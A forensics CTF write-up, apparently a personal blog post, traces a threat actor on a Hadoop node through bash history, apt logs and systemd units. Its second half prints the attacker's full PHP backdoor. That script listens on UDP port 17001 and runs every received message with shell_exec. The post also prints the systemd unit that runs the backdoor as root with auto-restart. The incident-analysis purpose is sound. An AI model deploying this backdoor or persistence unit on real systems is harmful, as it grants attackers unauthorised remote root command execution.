CTF

Magnet CTF Week 8: Short Side Quest

 · 9 mins read

TL;DR: Week 8 of the #MagnetWeeklyCTF started down the side quest I was hoping to dig into, but only scratched the surface of my itch.

Review

Check out the week 1 blog post for how to get started on the Magnet Weekly CTF.

Get the first challenge

The weekly challenge for week 8 was split into two, short parts. The first was:

What package(s) were installed by the threat actor? Select the most correct answer!

This goes back to the questions in week 6 dealing with how and where Ubuntu records actions related to package installation, so we can start with that knowledge.

Open the target file(s)

We already looked at the log files are in /var/log/apt/, but before we can know which the threat actor installed, we need to know when the threat actor was active. During week 6 I saw two interesting1 binaries in /home/hadoop and thought they, plus bash history, might give us the right clues. Using ls -al we can get an approximate date for the binary. Then as we examine the /home/hadoop/.bash_history, we can use wc -l to tell us how big the file is and determine the next steps. Since it is 374 lines long, and because I’m assuming the response team was quick, I opted to look at the last 25 lines with tail -n 25 first to see if that would work quicker. If not, we could always expand the tail we look at.

[notta@cuppa case2_master]$ ls -al home/hadoop/45010 

-rwxr-xr-x 1 notta notta 22288 Oct  6  2019 home/hadoop/45010

[notta@cuppa case2_master]$ wc -l home/hadoop/.bash_history 

374 home/hadoop/.bash_history

[notta@cuppa case2_master]$ tail -n 25 home/hadoop/.bash_history 

start-dfs.sh 
sudo netstat -lpeanut
sudo netstat -lpnut
sudo netstat -lpnuta
hdfs dfs -ls /
hdfs dfs -ls /text
hdfs dfs -ls /text/services
logout 
ls -lha
./45010 
ll
ls temp/
ll /usr/local/hadoop/bin/
./45010 
ll /usr/local/hadoop/bin/cluster.php
ssh slave2
cd temp/
ls
ll
scp ../45010 hadoop@192.168.2.102:/home/hadoop/temp/
ssh slave1
scp ../45010 hadoop@192.168.2.101:/home/hadoop/temp/
ssh slave2
ssh slave1
logout

From these steps we see that the intersting binary was modified around October 6 2019, that /home/hadoop/.bash_history is 374 lines, and that in the last 25 lines, someone executed this binary (./45010) a few times. Why would you run something a few times? I normally do that when I forget to install something it requires or fail to set up the environment variables correctly. We see the user run the binary, then looked at /usr/local/hadoop/bin/cluster.php with ll (this is generally ls -l), then copied the same binary over to the other to nodes with scp. Seems like it is likely the threat actor, so now we have a better starting point of the time to check, even though .bash_history doesn’t store timestamps.

Check the logs

Going back to our log files, I also started with tail since it seemed that these acts were some of the last potential actions on the server.

[notta@cuppa case2_master]$ tail -n 25 var/log/apt/history.log 

Remove: oracle-java7-installer:amd64 (7u80+7u60arm-0~webupd8~1)
End-Date: 2017-11-08  01:50:49

Start-Date: 2017-11-08  01:52:44
Commandline: apt-get remove oracle-java8-installer
Requested-By: hadoop (1000)
Remove: oracle-java8-installer:amd64 (8u151-1~webupd8~0)
End-Date: 2017-11-08  01:52:45

Start-Date: 2017-11-08  01:52:54
Commandline: apt-get remove oracle-java9-installer
Requested-By: hadoop (1000)
Remove: oracle-java9-set-default:amd64 (9.0.1-1~webupd8~0), oracle-java9-installer:amd64 (9.0.1-1~webupd8~0)
End-Date: 2017-11-08  01:52:55

Start-Date: 2017-11-08  06:12:58
Commandline: /usr/bin/unattended-upgrade
Install: linux-image-4.4.0-98-generic:amd64 (4.4.0-98.121, automatic), linux-image-extra-4.4.0-98-generic:amd64 (4.4.0-98.121, automatic), linux-headers-4.4.0-98-generic:amd64 (4.4.0-98.121, automatic), linux-headers-4.4.0-98:amd64 (4.4.0-98.121, automatic)
Upgrade: linux-headers-generic:amd64 (4.4.0.31.33, 4.4.0.98.103), linux-image-generic:amd64 (4.4.0.31.33, 4.4.0.98.103), linux-generic:amd64 (4.4.0.31.33, 4.4.0.98.103)
End-Date: 2017-11-08  06:13:42

Start-Date: 2019-10-07  01:30:31
Commandline: apt install php
Install: php7.0-cli:amd64 (7.0.33-0ubuntu0.16.04.6, automatic), php-common:amd64 (1:35ubuntu6.1, automatic), php7.0-fpm:amd64 (7.0.33-0ubuntu0.16.04.6, automatic), php7.0-opcache:amd64 (7.0.33-0ubuntu0.16.04.6, automatic), php7.0:amd64 (7.0.33-0ubuntu0.16.04.6, automatic), php7.0-common:amd64 (7.0.33-0ubuntu0.16.04.6, automatic), php:amd64 (1:7.0+35ubuntu6.1), php7.0-json:amd64 (7.0.33-0ubuntu0.16.04.6, automatic), php7.0-readline:amd64 (7.0.33-0ubuntu0.16.04.6, automatic)
End-Date: 2019-10-07  01:30:41

Sure enough, the last entry in /var/log/apt/history.log is from October 7 2019, but early morning, which seems like it is just the timezone offset for my local computer. In that case, the command that was run was apt install php, although a lot of packages were installed as a result. Because Magnet is looking for the “most correct answer”, they wanted “php” as the actual package installed by the actor, not caring about the slew of packages that underpinned it.

Get the Second Challenge

The second weekly challenge was:

Why?

  • hosting a database
  • serving a webpage
  • to run a php webshell
  • create a fake systemd service

To answer this question, I first recalled that the /home/hadoop/.bash_history had the threat actor checking out a PHP file located at /usr/local/hadoop/bin/cluster.php. Looking at that file with cat gave an incorrect answer because I read it too quickly.

<?php

error_reporting(0);

$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
//socket_set_option ($sock, SOL_SOCKET, SO_REUSEADDR, 1); 
if (socket_bind($sock, '0.0.0.0', 17001) == true) {
        $error_code = socket_last_error();
        $error_msg = socket_strerror($error_code);
        //echo "code: ", $error_code, " msg: ", $error_msg;

        for (;;) {
            socket_recvfrom($sock, $message, 1024000, 0, $ip, $port);
            $reply = shell_exec($message);
            socket_sendto($sock, $reply, strlen($reply), 0, $ip, $port);
        }
}
else {  exit;   }

?>

I read the file, saw shell_exec and immedaitely answered “to run a php webshell” in haste, as if the wrong answer given quickly will be worth more points. When that failed, I went back to actually thinking about the question and what I was presented with.

This can’t be “hosting a database” because PHP on its own doesn’t provide a database. It could be “serving a webpage”, depending on how strictly we want to say “serving” and I thought I might want to poke around to see if something else was hidden away. But first I opted to check the systemd services folder to see if that would give a quicker answer to rule out the final possibility.

[notta@cuppa case2_master]$ ls -al etc/systemd/system/

total 52
drwxr-xr-x 12 root root 4096 Oct  6  2019 .
drwxr-xr-x  5 root root 4096 Nov  7  2017 ..
-rw-rw-r--  1 root root  246 Oct  6  2019 cluster.service
drwxr-xr-x  2 root root 4096 Nov  7  2017 default.target.wants
drwxr-xr-x  2 root root 4096 Nov  7  2017 final.target.wants
drwxr-xr-x  2 root root 4096 Nov  7  2017 getty.target.wants
drwxr-xr-x  2 root root 4096 Nov  7  2017 graphical.target.wants
lrwxrwxrwx  1 root root   38 Nov  7  2017 iscsi.service -> /lib/systemd/system/open-iscsi.service
drwxr-xr-x  2 root root 4096 Oct  6  2019 multi-user.target.wants
drwxr-xr-x  2 root root 4096 Nov  7  2017 network-online.target.wants
drwxr-xr-x  2 root root 4096 Nov  7  2017 paths.target.wants
drwxr-xr-x  2 root root 4096 Nov  7  2017 sockets.target.wants
lrwxrwxrwx  1 root root   31 Nov  7  2017 sshd.service -> /lib/systemd/system/ssh.service
drwxr-xr-x  2 root root 4096 Nov  7  2017 sysinit.target.wants
lrwxrwxrwx  1 root root   35 Nov  7  2017 syslog.service -> /lib/systemd/system/rsyslog.service
drwxr-xr-x  2 root root 4096 Nov  7  2017 timers.target.wants

Inside this folder, we see a service was created on Octber 6 2019, seems like it might be the answer given the overlap with the threat actor’s activities. Looking at that service itself, it is trying to run our target PHP file.

[notta@cuppa case2_master]$ cat etc/systemd/system/cluster.service

[Unit]
Description=Daemon Cluster Service
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
ExecStart=/usr/bin/env php /usr/local/hadoop/bin/cluster.php

[Install]
WantedBy=multi-user.target

This makes it clear that PHP was needed to execute their PHP file and listen for incoming instructions as root. Therefore the answer is “create a fake systemd service”.

Alternatives

A quick grep to find all the packages generally installed by the user and not something automated, you could try this:

[notta@cuppa case2_master]$ grep "Commandline: \(apt\|apt-get\) install" \
var/log/apt/history.log

Commandline: apt-get install oracle-java7-installer
Commandline: apt-get install oracle-java8-installer
Commandline: apt-get install -f
Commandline: apt-get install oracle-java9-installer
Commandline: apt-get install -f
Commandline: apt install php

Since we had already seen why Java was installed, this would lead to the correct answer of PHP. An alternative for the second question is simply looking at what is presented and being honest about what is possible, instead of jumping to conclusions, since a webshell isn’t a webshell without the web, PHP doesn’t run databases, and it can’t serve a webpage without an actual web server.

Conclusion

I had really hoped to explore this malware more, but this taste of the side quest will have to do. One very important lesson in all of this is that you should never, ever, run code found in CTF images. Many players did to solve week 5 of the CTF and in doing so they potentially could have compromised their own machine, depending on what they ran. More on this in a future post.

Footnotes

  1. Read: “malicious”.